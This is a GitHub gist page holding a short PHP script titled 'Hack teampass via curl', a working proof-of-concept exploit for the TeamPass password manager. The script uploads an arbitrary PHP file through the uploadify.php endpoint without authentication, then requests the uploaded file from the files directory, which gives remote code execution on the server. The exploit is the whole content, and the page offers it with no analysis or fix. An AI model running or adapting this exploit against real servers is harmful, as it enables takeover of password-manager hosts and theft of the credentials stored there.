Skip to content

Instantly share code, notes, and snippets.

@leblanc-simon
Created March 17, 2012 16:06
Show Gist options
  • Save leblanc-simon/2061512 to your computer and use it in GitHub Desktop.
Save leblanc-simon/2061512 to your computer and use it in GitHub Desktop.
Hack teampass via curl
<?php
$url = 'http://localhost/nilsteampassnet-TeamPass-65f3167/';
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url.'includes/libraries/uploadify/uploadify.php');
curl_setopt($curl, CURLOPT_POST, true);
$post = array(
'Filedata' => '@info.php',
'type_upload' => 'import_items_from_csv',
'folder' => '/nilsteampassnet-TeamPass-65f3167/files',
);
curl_setopt($curl, CURLOPT_POSTFIELDS, $post);
$response = curl_exec($curl);
echo file_get_contents($url.'files/info.php');
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment